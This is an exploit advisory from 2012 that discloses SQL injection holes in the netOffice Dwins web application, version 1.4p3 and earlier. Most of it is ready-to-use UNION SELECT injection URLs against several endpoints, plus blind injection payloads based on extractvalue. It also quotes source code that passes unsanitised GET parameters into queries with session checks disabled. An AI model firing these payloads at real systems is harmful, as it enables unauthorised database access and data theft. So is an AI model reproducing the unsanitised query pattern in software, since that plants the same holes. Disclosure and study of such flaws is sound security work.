netOffice Dwins 1.4p3 SQL Injection

`:::::::-. ... ::::::. :::.  
;;, `';, ;; ;;;`;;;;, `;;;  
`[[ [[[[' [[[ [[[[[. '[[  
$$, $$$$ $$$ $$$ "Y$c$$  
888_,o8P'88 .d888 888 Y88  
MMMMP"` "YmmMMMM"" MMM YM  
  
[ Discovered by dun \ posdub[at]gmail.com ]  
[ 2012-11-08 ]  
#################################################################  
# [ netOffice Dwins <= 1.4p3 ] SQL Injection Vulnerability #  
#################################################################  
#  
# Script: "netOffice Dwins is a free web based time tracking, timesheet,  
# content management, issue tracking, and project management environment."  
#  
# Vendor: http://sourceforge.net/projects/netofficedwins/  
# Download: http://sourceforge.net/projects/netofficedwins/files/netofficedwins/1.4p3/  
#  
#################################################################  
# [SQL Injection]  
#  
# reports/export_leaves.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0--  
# File: reports/export_leaves.php ( lines: 16-107 ):  
# ..cut..  
# $S_mem = $_GET['S_ATSEL']; //1  
# ..cut..  
# $checkSession = false; //2  
# require_once("../includes/library.php");  
# ..cut..  
# $query .= " AND wkh.owner IN($S_mem)"; //3  
# ..cut..  
# $tmpquery = "$query ORDER BY wkh.owner"; //4  
# $listWorkHours = new request();  
# $listWorkHours->openWorkHours($tmpquery); //5 SQL  
# ..cut..  
#  
# users/exportuser.php?id=-1 union select 0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0--  
# File: users/exportuser.php ( lines: 15-21 ):  
# ..cut..  
# $checkSession = false; //1  
# require_once("../includes/library.php");  
# require_once("../includes/vcard.class.php");  
# $id = $_GET['id']; //2  
# $tmpquery = " WHERE mem.id=$id"; //3  
# $userDetail = new request();  
# $userDetail->openMembers($tmpquery); //4 SQL  
# ..cut..  
#  
# reports/export_person_performance.php?S_ATSEL=-1) union select 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0--  
# expenses/approveexpense.php?id=-1 union select 0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0--&auth=1&doc=-1 union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0--  
# calendar/exportcalendar.php?id=-1' union select 0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1--  
#  
# [Blind SQL Injection]  
#  
# analysis/expanddimension.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--  
# analysis/changedimensionsortingorder.php?id=-1' union select 0,0,0,0,0,0,0,0,0,0,extractvalue(1,concat(0x2e,(SELECT @@version)))--  
#  
### [ dun / 2012 ] #############################################  
  
`